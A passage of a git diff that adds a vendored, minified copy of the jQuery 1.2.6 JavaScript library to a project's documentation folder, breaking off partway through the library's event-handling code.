+	$('ul.link-list a').bind( "click", highlightClickTarget );
+});
diff --git a/doc/js/jquery.js b/doc/js/jquery.js
new file mode 100644
index 00000000..afe9e74c
--- /dev/null
+++ b/doc/js/jquery.js
@@ -0,0 +1,32 @@
+/*
+ * jQuery 1.2.6 - New Wave Javascript
+ *
+ * Copyright (c) 2008 John Resig (jquery.com)
+ * Dual licensed under the MIT (MIT-LICENSE.txt)
+ * and GPL (GPL-LICENSE.txt) licenses.
+ *
+ * $Date: 2008-09-25 09:50:52 -0700 (Thu, 25 Sep 2008) $
+ * $Rev: 38 $
+ */
+(function(){var _jQuery=window.jQuery,_$=window.$;var jQuery=window.jQuery=window.$=function(selector,context){return new jQuery.fn.init(selector,context);};var quickExpr=/^[^<]*(<(.|\s)+>)[^>]*$|^#(\w+)$/,isSimple=/^.[^:#\[\.]*$/,undefined;jQuery.fn=jQuery.prototype={init:function(selector,context){selector=selector||document;if(selector.nodeType){this[0]=selector;this.length=1;return this;}if(typeof selector=="string"){var match=quickExpr.exec(selector);if(match&&(match[1]||!context)){if(match[1])selector=jQuery.clean([match[1]],context);else{var elem=document.getElementById(match[3]);if(elem){if(elem.id!=match[3])return jQuery().find(selector);return jQuery(elem);}selector=[];}}else
+return jQuery(context).find(selector);}else if(jQuery.isFunction(selector))return jQuery(document)[jQuery.fn.ready?"ready":"load"](selector);return this.setArray(jQuery.makeArray(selector));},jquery:"1.2.6",size:function(){return this.length;},length:0,get:function(num){return num==undefined?jQuery.makeArray(this):this[num];},pushStack:function(elems){var ret=jQuery(elems);ret.prevObject=this;return ret;},setArray:function(elems){this.length=0;Array.prototype.push.apply(this,elems);return this;},each:function(callback,args){return jQuery.each(this,callback,args);},index:function(elem){var ret=-1;return jQuery.inArray(elem&&elem.jquery?elem[0]:elem,this);},attr:function(name,value,type){var options=name;if(name.constructor==String)if(value===undefined)return this[0]&&jQuery[type||"attr"](this[0],name);else{options={};options[name]=value;}return this.each(function(i){for(name in options)jQuery.attr(type?this.style:this,name,jQuery.prop(this,options[name],type,i,name));});},css:function(key,value){if((key=='width'||key=='height')&&parseFloat(value)<0)value=undefined;return this.attr(key,value,"curCSS");},text:function(text){if(typeof text!="object"&&text!=null)return this.empty().append((this[0]&&this[0].ownerDocument||document).createTextNode(text));var ret="";jQuery.each(text||this,function(){jQuery.each(this.childNodes,function(){if(this.nodeType!=8)ret+=this.nodeType!=1?this.nodeValue:jQuery.fn.text([this]);});});return ret;},wrapAll:function(html){if(this[0])jQuery(html,this[0].ownerDocument).clone().insertBefore(this[0]).map(function(){var elem=this;while(elem.firstChild)elem=elem.firstChild;return elem;}).append(this);return this;},wrapInner:function(html){return this.each(function(){jQuery(this).contents().wrapAll(html);});},wrap:function(html){return this.each(function(){jQuery(this).wrapAll(html);});},append:function(){return this.domManip(arguments,true,false,function(elem){if(this.nodeType==1)this.appendChild(elem);});},prepend:function(){return this.domManip(arguments,true,true,function(elem){if(this.nodeType==1)this.insertBefore(elem,this.firstChild);});},before:function(){return this.domManip(arguments,false,false,function(elem){this.parentNode.insertBefore(elem,this);});},after:function(){return this.domManip(arguments,false,true,function(elem){this.parentNode.insertBefore(elem,this.nextSibling);});},end:function(){return this.prevObject||jQuery([]);},find:function(selector){var elems=jQuery.map(this,function(elem){return jQuery.find(selector,elem);});return this.pushStack(/[^+>] [^+>]/.test(selector)||selector.indexOf("..")>-1?jQuery.unique(elems):elems);},clone:function(events){var ret=this.map(function(){if(jQuery.browser.msie&&!jQuery.isXMLDoc(this)){var clone=this.cloneNode(true),container=document.createElement("div");container.appendChild(clone);return jQuery.clean([container.innerHTML])[0];}else
+return this.cloneNode(true);});var clone=ret.find("*").andSelf().each(function(){if(this[expando]!=undefined)this[expando]=null;});if(events===true)this.find("*").andSelf().each(function(i){if(this.nodeType==3)return;var events=jQuery.data(this,"events");for(var type in events)for(var handler in events[type])jQuery.event.add(clone[i],type,events[type][handler],events[type][handler].data);});return ret;},filter:function(selector){return this.pushStack(jQuery.isFunction(selector)&&jQuery.grep(this,function(elem,i){return selector.call(elem,i);})||jQuery.multiFilter(selector,this));},not:function(selector){if(selector.constructor==String)if(isSimple.test(selector))return this.pushStack(jQuery.multiFilter(selector,this,true));else
+selector=jQuery.multiFilter(selector,this);var isArrayLike=selector.length&&selector[selector.length-1]!==undefined&&!selector.nodeType;return this.filter(function(){return isArrayLike?jQuery.inArray(this,selector)<0:this!=selector;});},add:function(selector){return this.pushStack(jQuery.unique(jQuery.merge(this.get(),typeof selector=='string'?jQuery(selector):jQuery.makeArray(selector))));},is:function(selector){return!!selector&&jQuery.multiFilter(selector,this).length>0;},hasClass:function(selector){return this.is("."+selector);},val:function(value){if(value==undefined){if(this.length){var elem=this[0];if(jQuery.nodeName(elem,"select")){var index=elem.selectedIndex,values=[],options=elem.options,one=elem.type=="select-one";if(index<0)return null;for(var i=one?index:0,max=one?index+1:options.length;i<max;i++){var option=options[i];if(option.selected){value=jQuery.browser.msie&&!option.attributes.value.specified?option.text:option.value;if(one)return value;values.push(value);}}return values;}else
+return(this[0].value||"").replace(/\r/g,"");}return undefined;}if(value.constructor==Number)value+='';return this.each(function(){if(this.nodeType!=1)return;if(value.constructor==Array&&/radio|checkbox/.test(this.type))this.checked=(jQuery.inArray(this.value,value)>=0||jQuery.inArray(this.name,value)>=0);else if(jQuery.nodeName(this,"select")){var values=jQuery.makeArray(value);jQuery("option",this).each(function(){this.selected=(jQuery.inArray(this.value,values)>=0||jQuery.inArray(this.text,values)>=0);});if(!values.length)this.selectedIndex=-1;}else
+this.value=value;});},html:function(value){return value==undefined?(this[0]?this[0].innerHTML:null):this.empty().append(value);},replaceWith:function(value){return this.after(value).remove();},eq:function(i){return this.slice(i,i+1);},slice:function(){return this.pushStack(Array.prototype.slice.apply(this,arguments));},map:function(callback){return this.pushStack(jQuery.map(this,function(elem,i){return callback.call(elem,i,elem);}));},andSelf:function(){return this.add(this.prevObject);},data:function(key,value){var parts=key.split(".");parts[1]=parts[1]?"."+parts[1]:"";if(value===undefined){var data=this.triggerHandler("getData"+parts[1]+"!",[parts[0]]);if(data===undefined&&this.length)data=jQuery.data(this[0],key);return data===undefined&&parts[1]?this.data(parts[0]):data;}else
+return this.trigger("setData"+parts[1]+"!",[parts[0],value]).each(function(){jQuery.data(this,key,value);});},removeData:function(key){return this.each(function(){jQuery.removeData(this,key);});},domManip:function(args,table,reverse,callback){var clone=this.length>1,elems;return this.each(function(){if(!elems){elems=jQuery.clean(args,this.ownerDocument);if(reverse)elems.reverse();}var obj=this;if(table&&jQuery.nodeName(this,"table")&&jQuery.nodeName(elems[0],"tr"))obj=this.getElementsByTagName("tbody")[0]||this.appendChild(this.ownerDocument.createElement("tbody"));var scripts=jQuery([]);jQuery.each(elems,function(){var elem=clone?jQuery(this).clone(true)[0]:this;if(jQuery.nodeName(elem,"script"))scripts=scripts.add(elem);else{if(elem.nodeType==1)scripts=scripts.add(jQuery("script",elem).remove());callback.call(obj,elem);}});scripts.each(evalScript);});}};jQuery.fn.init.prototype=jQuery.fn;function evalScript(i,elem){if(elem.src)jQuery.ajax({url:elem.src,async:false,dataType:"script"});else
+jQuery.globalEval(elem.text||elem.textContent||elem.innerHTML||"");if(elem.parentNode)elem.parentNode.removeChild(elem);}function now(){return+new Date;}jQuery.extend=jQuery.fn.extend=function(){var target=arguments[0]||{},i=1,length=arguments.length,deep=false,options;if(target.constructor==Boolean){deep=target;target=arguments[1]||{};i=2;}if(typeof target!="object"&&typeof target!="function")target={};if(length==i){target=this;--i;}for(;i<length;i++)if((options=arguments[i])!=null)for(var name in options){var src=target[name],copy=options[name];if(target===copy)continue;if(deep&&copy&&typeof copy=="object"&&!copy.nodeType)target[name]=jQuery.extend(deep,src||(copy.length!=null?[]:{}),copy);else if(copy!==undefined)target[name]=copy;}return target;};var expando="jQuery"+now(),uuid=0,windowData={},exclude=/z-?index|font-?weight|opacity|zoom|line-?height/i,defaultView=document.defaultView||{};jQuery.extend({noConflict:function(deep){window.$=_$;if(deep)window.jQuery=_jQuery;return jQuery;},isFunction:function(fn){return!!fn&&typeof fn!="string"&&!fn.nodeName&&fn.constructor!=Array&&/^[\s[]?function/.test(fn+"");},isXMLDoc:function(elem){return elem.documentElement&&!elem.body||elem.tagName&&elem.ownerDocument&&!elem.ownerDocument.body;},globalEval:function(data){data=jQuery.trim(data);if(data){var head=document.getElementsByTagName("head")[0]||document.documentElement,script=document.createElement("script");script.type="text/javascript";if(jQuery.browser.msie)script.text=data;else
+script.appendChild(document.createTextNode(data));head.insertBefore(script,head.firstChild);head.removeChild(script);}},nodeName:function(elem,name){return elem.nodeName&&elem.nodeName.toUpperCase()==name.toUpperCase();},cache:{},data:function(elem,name,data){elem=elem==window?windowData:elem;var id=elem[expando];if(!id)id=elem[expando]=++uuid;if(name&&!jQuery.cache[id])jQuery.cache[id]={};if(data!==undefined)jQuery.cache[id][name]=data;return name?jQuery.cache[id][name]:id;},removeData:function(elem,name){elem=elem==window?windowData:elem;var id=elem[expando];if(name){if(jQuery.cache[id]){delete jQuery.cache[id][name];name="";for(name in jQuery.cache[id])break;if(!name)jQuery.removeData(elem);}}else{try{delete elem[expando];}catch(e){if(elem.removeAttribute)elem.removeAttribute(expando);}delete jQuery.cache[id];}},each:function(object,callback,args){var name,i=0,length=object.length;if(args){if(length==undefined){for(name in object)if(callback.apply(object[name],args)===false)break;}else
+for(;i<length;)if(callback.apply(object[i++],args)===false)break;}else{if(length==undefined){for(name in object)if(callback.call(object[name],name,object[name])===false)break;}else
+for(var value=object[0];i<length&&callback.call(value,i,value)!==false;value=object[++i]){}}return object;},prop:function(elem,value,type,i,name){if(jQuery.isFunction(value))value=value.call(elem,i);return value&&value.constructor==Number&&type=="curCSS"&&!exclude.test(name)?value+"px":value;},className:{add:function(elem,classNames){jQuery.each((classNames||"").split(/\s+/),function(i,className){if(elem.nodeType==1&&!jQuery.className.has(elem.className,className))elem.className+=(elem.className?" ":"")+className;});},remove:function(elem,classNames){if(elem.nodeType==1)elem.className=classNames!=undefined?jQuery.grep(elem.className.split(/\s+/),function(className){return!jQuery.className.has(classNames,className);}).join(" "):"";},has:function(elem,className){return jQuery.inArray(className,(elem.className||elem).toString().split(/\s+/))>-1;}},swap:function(elem,options,callback){var old={};for(var name in options){old[name]=elem.style[name];elem.style[name]=options[name];}callback.call(elem);for(var name in options)elem.style[name]=old[name];},css:function(elem,name,force){if(name=="width"||name=="height"){var val,props={position:"absolute",visibility:"hidden",display:"block"},which=name=="width"?["Left","Right"]:["Top","Bottom"];function getWH(){val=name=="width"?elem.offsetWidth:elem.offsetHeight;var padding=0,border=0;jQuery.each(which,function(){padding+=parseFloat(jQuery.curCSS(elem,"padding"+this,true))||0;border+=parseFloat(jQuery.curCSS(elem,"border"+this+"Width",true))||0;});val-=Math.round(padding+border);}if(jQuery(elem).is(":visible"))getWH();else
+jQuery.swap(elem,props,getWH);return Math.max(0,val);}return jQuery.curCSS(elem,name,force);},curCSS:function(elem,name,force){var ret,style=elem.style;function color(elem){if(!jQuery.browser.safari)return false;var ret=defaultView.getComputedStyle(elem,null);return!ret||ret.getPropertyValue("color")=="";}if(name=="opacity"&&jQuery.browser.msie){ret=jQuery.attr(style,"opacity");return ret==""?"1":ret;}if(jQuery.browser.opera&&name=="display"){var save=style.outline;style.outline="0 solid black";style.outline=save;}if(name.match(/float/i))name=styleFloat;if(!force&&style&&style[name])ret=style[name];else if(defaultView.getComputedStyle){if(name.match(/float/i))name="float";name=name.replace(/([A-Z])/g,"-$1").toLowerCase();var computedStyle=defaultView.getComputedStyle(elem,null);if(computedStyle&&!color(elem))ret=computedStyle.getPropertyValue(name);else{var swap=[],stack=[],a=elem,i=0;for(;a&&color(a);a=a.parentNode)stack.unshift(a);for(;i<stack.length;i++)if(color(stack[i])){swap[i]=stack[i].style.display;stack[i].style.display="block";}ret=name=="display"&&swap[stack.length-1]!=null?"none":(computedStyle&&computedStyle.getPropertyValue(name))||"";for(i=0;i<swap.length;i++)if(swap[i]!=null)stack[i].style.display=swap[i];}if(name=="opacity"&&ret=="")ret="1";}else if(elem.currentStyle){var camelCase=name.replace(/\-(\w)/g,function(all,letter){return letter.toUpperCase();});ret=elem.currentStyle[name]||elem.currentStyle[camelCase];if(!/^\d+(px)?$/i.test(ret)&&/^\d/.test(ret)){var left=style.left,rsLeft=elem.runtimeStyle.left;elem.runtimeStyle.left=elem.currentStyle.left;style.left=ret||0;ret=style.pixelLeft+"px";style.left=left;elem.runtimeStyle.left=rsLeft;}}return ret;},clean:function(elems,context){var ret=[];context=context||document;if(typeof context.createElement=='undefined')context=context.ownerDocument||context[0]&&context[0].ownerDocument||document;jQuery.each(elems,function(i,elem){if(!elem)return;if(elem.constructor==Number)elem+='';if(typeof elem=="string"){elem=elem.replace(/(<(\w+)[^>]*?)\/>/g,function(all,front,tag){return tag.match(/^(abbr|br|col|img|input|link|meta|param|hr|area|embed)$/i)?all:front+"></"+tag+">";});var tags=jQuery.trim(elem).toLowerCase(),div=context.createElement("div");var wrap=!tags.indexOf("<opt")&&[1,"<select multiple='multiple'>","</select>"]||!tags.indexOf("<leg")&&[1,"<fieldset>","</fieldset>"]||tags.match(/^<(thead|tbody|tfoot|colg|cap)/)&&[1,"<table>","</table>"]||!tags.indexOf("<tr")&&[2,"<table><tbody>","</tbody></table>"]||(!tags.indexOf("<td")||!tags.indexOf("<th"))&&[3,"<table><tbody><tr>","</tr></tbody></table>"]||!tags.indexOf("<col")&&[2,"<table><tbody></tbody><colgroup>","</colgroup></table>"]||jQuery.browser.msie&&[1,"div<div>","</div>"]||[0,"",""];div.innerHTML=wrap[1]+elem+wrap[2];while(wrap[0]--)div=div.lastChild;if(jQuery.browser.msie){var tbody=!tags.indexOf("<table")&&tags.indexOf("<tbody")<0?div.firstChild&&div.firstChild.childNodes:wrap[1]=="<table>"&&tags.indexOf("<tbody")<0?div.childNodes:[];for(var j=tbody.length-1;j>=0;--j)if(jQuery.nodeName(tbody[j],"tbody")&&!tbody[j].childNodes.length)tbody[j].parentNode.removeChild(tbody[j]);if(/^\s/.test(elem))div.insertBefore(context.createTextNode(elem.match(/^\s*/)[0]),div.firstChild);}elem=jQuery.makeArray(div.childNodes);}if(elem.length===0&&(!jQuery.nodeName(elem,"form")&&!jQuery.nodeName(elem,"select")))return;if(elem[0]==undefined||jQuery.nodeName(elem,"form")||elem.options)ret.push(elem);else
+ret=jQuery.merge(ret,elem);});return ret;},attr:function(elem,name,value){if(!elem||elem.nodeType==3||elem.nodeType==8)return undefined;var notxml=!jQuery.isXMLDoc(elem),set=value!==undefined,msie=jQuery.browser.msie;name=notxml&&jQuery.props[name]||name;if(elem.tagName){var special=/href|src|style/.test(name);if(name=="selected"&&jQuery.browser.safari)elem.parentNode.selectedIndex;if(name in elem&&notxml&&!special){if(set){if(name=="type"&&jQuery.nodeName(elem,"input")&&elem.parentNode)throw"type property can't be changed";elem[name]=value;}if(jQuery.nodeName(elem,"form")&&elem.getAttributeNode(name))return elem.getAttributeNode(name).nodeValue;return elem[name];}if(msie&&notxml&&name=="style")return jQuery.attr(elem.style,"cssText",value);if(set)elem.setAttribute(name,""+value);var attr=msie&&notxml&&special?elem.getAttribute(name,2):elem.getAttribute(name);return attr===null?undefined:attr;}if(msie&&name=="opacity"){if(set){elem.zoom=1;elem.filter=(elem.filter||"").replace(/alpha\([^)]*\)/,"")+(parseInt(value)+''=="NaN"?"":"alpha(opacity="+value*100+")");}return elem.filter&&elem.filter.indexOf("opacity=")>=0?(parseFloat(elem.filter.match(/opacity=([^)]*)/)[1])/100)+'':"";}name=name.replace(/-([a-z])/ig,function(all,letter){return letter.toUpperCase();});if(set)elem[name]=value;return elem[name];},trim:function(text){return(text||"").replace(/^\s+|\s+$/g,"");},makeArray:function(array){var ret=[];if(array!=null){var i=array.length;if(i==null||array.split||array.setInterval||array.call)ret[0]=array;else
+while(i)ret[--i]=array[i];}return ret;},inArray:function(elem,array){for(var i=0,length=array.length;i<length;i++)if(array[i]===elem)return i;return-1;},merge:function(first,second){var i=0,elem,pos=first.length;if(jQuery.browser.msie){while(elem=second[i++])if(elem.nodeType!=8)first[pos++]=elem;}else
+while(elem=second[i++])first[pos++]=elem;return first;},unique:function(array){var ret=[],done={};try{for(var i=0,length=array.length;i<length;i++){var id=jQuery.data(array[i]);if(!done[id]){done[id]=true;ret.push(array[i]);}}}catch(e){ret=array;}return ret;},grep:function(elems,callback,inv){var ret=[];for(var i=0,length=elems.length;i<length;i++)if(!inv!=!callback(elems[i],i))ret.push(elems[i]);return ret;},map:function(elems,callback){var ret=[];for(var i=0,length=elems.length;i<length;i++){var value=callback(elems[i],i);if(value!=null)ret[ret.length]=value;}return ret.concat.apply([],ret);}});var userAgent=navigator.userAgent.toLowerCase();jQuery.browser={version:(userAgent.match(/.+(?:rv|it|ra|ie)[\/: ]([\d.]+)/)||[])[1],safari:/webkit/.test(userAgent),opera:/opera/.test(userAgent),msie:/msie/.test(userAgent)&&!/opera/.test(userAgent),mozilla:/mozilla/.test(userAgent)&&!/(compatible|webkit)/.test(userAgent)};var styleFloat=jQuery.browser.msie?"styleFloat":"cssFloat";jQuery.extend({boxModel:!jQuery.browser.msie||document.compatMode=="CSS1Compat",props:{"for":"htmlFor","class":"className","float":styleFloat,cssFloat:styleFloat,styleFloat:styleFloat,readonly:"readOnly",maxlength:"maxLength",cellspacing:"cellSpacing"}});jQuery.each({parent:function(elem){return elem.parentNode;},parents:function(elem){return jQuery.dir(elem,"parentNode");},next:function(elem){return jQuery.nth(elem,2,"nextSibling");},prev:function(elem){return jQuery.nth(elem,2,"previousSibling");},nextAll:function(elem){return jQuery.dir(elem,"nextSibling");},prevAll:function(elem){return jQuery.dir(elem,"previousSibling");},siblings:function(elem){return jQuery.sibling(elem.parentNode.firstChild,elem);},children:function(elem){return jQuery.sibling(elem.firstChild);},contents:function(elem){return jQuery.nodeName(elem,"iframe")?elem.contentDocument||elem.contentWindow.document:jQuery.makeArray(elem.childNodes);}},function(name,fn){jQuery.fn[name]=function(selector){var ret=jQuery.map(this,fn);if(selector&&typeof selector=="string")ret=jQuery.multiFilter(selector,ret);return this.pushStack(jQuery.unique(ret));};});jQuery.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(name,original){jQuery.fn[name]=function(){var args=arguments;return this.each(function(){for(var i=0,length=args.length;i<length;i++)jQuery(args[i])[original](this);});};});jQuery.each({removeAttr:function(name){jQuery.attr(this,name,"");if(this.nodeType==1)this.removeAttribute(name);},addClass:function(classNames){jQuery.className.add(this,classNames);},removeClass:function(classNames){jQuery.className.remove(this,classNames);},toggleClass:function(classNames){jQuery.className[jQuery.className.has(this,classNames)?"remove":"add"](this,classNames);},remove:function(selector){if(!selector||jQuery.filter(selector,[this]).r.length){jQuery("*",this).add(this).each(function(){jQuery.event.remove(this);jQuery.removeData(this);});if(this.parentNode)this.parentNode.removeChild(this);}},empty:function(){jQuery(">*",this).remove();while(this.firstChild)this.removeChild(this.firstChild);}},function(name,fn){jQuery.fn[name]=function(){return this.each(fn,arguments);};});jQuery.each(["Height","Width"],function(i,name){var type=name.toLowerCase();jQuery.fn[type]=function(size){return this[0]==window?jQuery.browser.opera&&document.body["client"+name]||jQuery.browser.safari&&window["inner"+name]||document.compatMode=="CSS1Compat"&&document.documentElement["client"+name]||document.body["client"+name]:this[0]==document?Math.max(Math.max(document.body["scroll"+name],document.documentElement["scroll"+name]),Math.max(document.body["offset"+name],document.documentElement["offset"+name])):size==undefined?(this.length?jQuery.css(this[0],type):null):this.css(type,size.constructor==String?size:size+"px");};});function num(elem,prop){return elem[0]&&parseInt(jQuery.curCSS(elem[0],prop,true),10)||0;}var chars=jQuery.browser.safari&&parseInt(jQuery.browser.version)<417?"(?:[\\w*_-]|\\\\.)":"(?:[\\w\u0128-\uFFFF*_-]|\\\\.)",quickChild=new RegExp("^>\\s*("+chars+"+)"),quickID=new RegExp("^("+chars+"+)(#)("+chars+"+)"),quickClass=new RegExp("^([#.]?)("+chars+"*)");jQuery.extend({expr:{"":function(a,i,m){return m[2]=="*"||jQuery.nodeName(a,m[2]);},"#":function(a,i,m){return a.getAttribute("id")==m[2];},":":{lt:function(a,i,m){return i<m[3]-0;},gt:function(a,i,m){return i>m[3]-0;},nth:function(a,i,m){return m[3]-0==i;},eq:function(a,i,m){return m[3]-0==i;},first:function(a,i){return i==0;},last:function(a,i,m,r){return i==r.length-1;},even:function(a,i){return i%2==0;},odd:function(a,i){return i%2;},"first-child":function(a){return a.parentNode.getElementsByTagName("*")[0]==a;},"last-child":function(a){return jQuery.nth(a.parentNode.lastChild,1,"previousSibling")==a;},"only-child":function(a){return!jQuery.nth(a.parentNode.lastChild,2,"previousSibling");},parent:function(a){return a.firstChild;},empty:function(a){return!a.firstChild;},contains:function(a,i,m){return(a.textContent||a.innerText||jQuery(a).text()||"").indexOf(m[3])>=0;},visible:function(a){return"hidden"!=a.type&&jQuery.css(a,"display")!="none"&&jQuery.css(a,"visibility")!="hidden";},hidden:function(a){return"hidden"==a.type||jQuery.css(a,"display")=="none"||jQuery.css(a,"visibility")=="hidden";},enabled:function(a){return!a.disabled;},disabled:function(a){return a.disabled;},checked:function(a){return a.checked;},selected:function(a){return a.selected||jQuery.attr(a,"selected");},text:function(a){return"text"==a.type;},radio:function(a){return"radio"==a.type;},checkbox:function(a){return"checkbox"==a.type;},file:function(a){return"file"==a.type;},password:function(a){return"password"==a.type;},submit:function(a){return"submit"==a.type;},image:function(a){return"image"==a.type;},reset:function(a){return"reset"==a.type;},button:function(a){return"button"==a.type||jQuery.nodeName(a,"button");},input:function(a){return/input|select|textarea|button/i.test(a.nodeName);},has:function(a,i,m){return jQuery.find(m[3],a).length;},header:function(a){return/h\d/i.test(a.nodeName);},animated:function(a){return jQuery.grep(jQuery.timers,function(fn){return a==fn.elem;}).length;}}},parse:[/^(\[) *@?([\w-]+) *([!*$^~=]*) *('?"?)(.*?)\4 *\]/,/^(:)([\w-]+)\("?'?(.*?(\(.*?\))?[^(]*?)"?'?\)/,new RegExp("^([:.#]*)("+chars+"+)")],multiFilter:function(expr,elems,not){var old,cur=[];while(expr&&expr!=old){old=expr;var f=jQuery.filter(expr,elems,not);expr=f.t.replace(/^\s*,\s*/,"");cur=not?elems=f.r:jQuery.merge(cur,f.r);}return cur;},find:function(t,context){if(typeof t!="string")return[t];if(context&&context.nodeType!=1&&context.nodeType!=9)return[];context=context||document;var ret=[context],done=[],last,nodeName;while(t&&last!=t){var r=[];last=t;t=jQuery.trim(t);var foundToken=false,re=quickChild,m=re.exec(t);if(m){nodeName=m[1].toUpperCase();for(var i=0;ret[i];i++)for(var c=ret[i].firstChild;c;c=c.nextSibling)if(c.nodeType==1&&(nodeName=="*"||c.nodeName.toUpperCase()==nodeName))r.push(c);ret=r;t=t.replace(re,"");if(t.indexOf(" ")==0)continue;foundToken=true;}else{re=/^([>+~])\s*(\w*)/i;if((m=re.exec(t))!=null){r=[];var merge={};nodeName=m[2].toUpperCase();m=m[1];for(var j=0,rl=ret.length;j<rl;j++){var n=m=="~"||m=="+"?ret[j].nextSibling:ret[j].firstChild;for(;n;n=n.nextSibling)if(n.nodeType==1){var id=jQuery.data(n);if(m=="~"&&merge[id])break;if(!nodeName||n.nodeName.toUpperCase()==nodeName){if(m=="~")merge[id]=true;r.push(n);}if(m=="+")break;}}ret=r;t=jQuery.trim(t.replace(re,""));foundToken=true;}}if(t&&!foundToken){if(!t.indexOf(",")){if(context==ret[0])ret.shift();done=jQuery.merge(done,ret);r=ret=[context];t=" "+t.substr(1,t.length);}else{var re2=quickID;var m=re2.exec(t);if(m){m=[0,m[2],m[3],m[1]];}else{re2=quickClass;m=re2.exec(t);}m[2]=m[2].replace(/\\/g,"");var elem=ret[ret.length-1];if(m[1]=="#"&&elem&&elem.getElementById&&!jQuery.isXMLDoc(elem)){var oid=elem.getElementById(m[2]);if((jQuery.browser.msie||jQuery.browser.opera)&&oid&&typeof oid.id=="string"&&oid.id!=m[2])oid=jQuery('[@id="'+m[2]+'"]',elem)[0];ret=r=oid&&(!m[3]||jQuery.nodeName(oid,m[3]))?[oid]:[];}else{for(var i=0;ret[i];i++){var tag=m[1]=="#"&&m[3]?m[3]:m[1]!=""||m[0]==""?"*":m[2];if(tag=="*"&&ret[i].nodeName.toLowerCase()=="object")tag="param";r=jQuery.merge(r,ret[i].getElementsByTagName(tag));}if(m[1]==".")r=jQuery.classFilter(r,m[2]);if(m[1]=="#"){var tmp=[];for(var i=0;r[i];i++)if(r[i].getAttribute("id")==m[2]){tmp=[r[i]];break;}r=tmp;}ret=r;}t=t.replace(re2,"");}}if(t){var val=jQuery.filter(t,r);ret=r=val.r;t=jQuery.trim(val.t);}}if(t)ret=[];if(ret&&context==ret[0])ret.shift();done=jQuery.merge(done,ret);return done;},classFilter:function(r,m,not){m=" "+m+" ";var tmp=[];for(var i=0;r[i];i++){var pass=(" "+r[i].className+" ").indexOf(m)>=0;if(!not&&pass||not&&!pass)tmp.push(r[i]);}return tmp;},filter:function(t,r,not){var last;while(t&&t!=last){last=t;var p=jQuery.parse,m;for(var i=0;p[i];i++){m=p[i].exec(t);if(m){t=t.substring(m[0].length);m[2]=m[2].replace(/\\/g,"");break;}}if(!m)break;if(m[1]==":"&&m[2]=="not")r=isSimple.test(m[3])?jQuery.filter(m[3],r,true).r:jQuery(r).not(m[3]);else if(m[1]==".")r=jQuery.classFilter(r,m[2],not);else if(m[1]=="["){var tmp=[],type=m[3];for(var i=0,rl=r.length;i<rl;i++){var a=r[i],z=a[jQuery.props[m[2]]||m[2]];if(z==null||/href|src|selected/.test(m[2]))z=jQuery.attr(a,m[2])||'';if((type==""&&!!z||type=="="&&z==m[5]||type=="!="&&z!=m[5]||type=="^="&&z&&!z.indexOf(m[5])||type=="$="&&z.substr(z.length-m[5].length)==m[5]||(type=="*="||type=="~=")&&z.indexOf(m[5])>=0)^not)tmp.push(a);}r=tmp;}else if(m[1]==":"&&m[2]=="nth-child"){var merge={},tmp=[],test=/(-?)(\d*)n((?:\+|-)?\d*)/.exec(m[3]=="even"&&"2n"||m[3]=="odd"&&"2n+1"||!/\D/.test(m[3])&&"0n+"+m[3]||m[3]),first=(test[1]+(test[2]||1))-0,last=test[3]-0;for(var i=0,rl=r.length;i<rl;i++){var node=r[i],parentNode=node.parentNode,id=jQuery.data(parentNode);if(!merge[id]){var c=1;for(var n=parentNode.firstChild;n;n=n.nextSibling)if(n.nodeType==1)n.nodeIndex=c++;merge[id]=true;}var add=false;if(first==0){if(node.nodeIndex==last)add=true;}else if((node.nodeIndex-last)%first==0&&(node.nodeIndex-last)/first>=0)add=true;if(add^not)tmp.push(node);}r=tmp;}else{var fn=jQuery.expr[m[1]];if(typeof fn=="object")fn=fn[m[2]];if(typeof fn=="string")fn=eval("false||function(a,i){return "+fn+";}");r=jQuery.grep(r,function(elem,i){return fn(elem,i,m,r);},not);}}return{r:r,t:t};},dir:function(elem,dir){var matched=[],cur=elem[dir];while(cur&&cur!=document){if(cur.nodeType==1)matched.push(cur);cur=cur[dir];}return matched;},nth:function(cur,result,dir,elem){result=result||1;var num=0;for(;cur;cur=cur[dir])if(cur.nodeType==1&&++num==result)break;return cur;},sibling:function(n,elem){var r=[];for(;n;n=n.nextSibling){if(n.nodeType==1&&n!=elem)r.push(n);}return r;}});jQuery.event={add:function(elem,types,handler,data){if(elem.nodeType==3||elem.nodeType==8)return;if(jQuery.browser.msie&&elem.setInterval)elem=window;if(!handler.guid)handler.guid=this.guid++;if(data!=undefined){var fn=handler;handler=this.proxy(fn,function(){return fn.apply(this,arguments);});handler.data=data;}var events=jQuery.data(elem,"events")||jQuery.data(elem,"events",{}),handle=jQuery.data(elem,"handle")||jQuery.data(elem,"handle",function(){if(typeof jQuery!="undefined"&&!jQuery.event.triggered)return jQuery.event.handle.apply(arguments.callee.elem,arguments);});handle.elem=elem;jQuery.each(types.split(/\s+/),function(index,type){var parts=type.split(".");type=parts[0];handler.type=parts[1];var handlers=events[type];if(!handlers){handlers=events[type]={};if(!jQuery.event.special[type]||jQuery.event.special[type].setup.call(elem)===false){if(elem.addEventListener)elem.addEventListener(type,handle,false);else if(elem.attachEvent)elem.attachEvent("on"+type,handle);}}handlers[handler.guid]=handler;jQuery.event.global[type]=true;});elem=null;},guid:1,global:{},remove:function(elem,types,handler){if(elem.nodeType==3||elem.nodeType==8)return;var events=jQuery.data(elem,"events"),ret,index;if(events){if(types==undefined||(typeof types=="string"&&types.charAt(0)=="."))for(var type in events)this.remove(elem,type+(types||""));else{if(types.type){handler=types.handler;types=types.type;}jQuery.each(types.split(/\s+/),function(index,type){var parts=type.split(".");type=parts[0];if(events[type]){if(handler)delete events[type][handler.guid];else
+for(handler in events[type])if(!parts[1]||events[type][handler].type==parts[1])delete events[type][handler];for(ret in events[type])break;if(!ret){if(!jQuery.event.special[type]||jQuery.event.special[type].teardown.call(elem)===false){if(elem.removeEventListener)elem.removeEventListener(type,jQuery.data(elem,"handle"),false);else if(elem.detachEvent)elem.detachEvent("on"+type,jQuery.data(elem,"handle"));}ret=null;delete events[type];}}});}for(ret in events)break;if(!ret){var handle=jQuery.data(elem,"handle");if(handle)handle.elem=null;jQuery.removeData(elem,"events");jQuery.removeData(elem,"handle");}}},trigger:function(type,data,elem,donative,extra){data=jQuery.makeArray(data);if(type.indexOf("!")>=0){type=type.slice(0,-1);var exclusive=true;}if(!elem){if(this.global[type])jQuery("*").add([window,document]).trigger(type,data);}else{if(elem.nodeType==3||elem.nodeType==8)return undefined;var 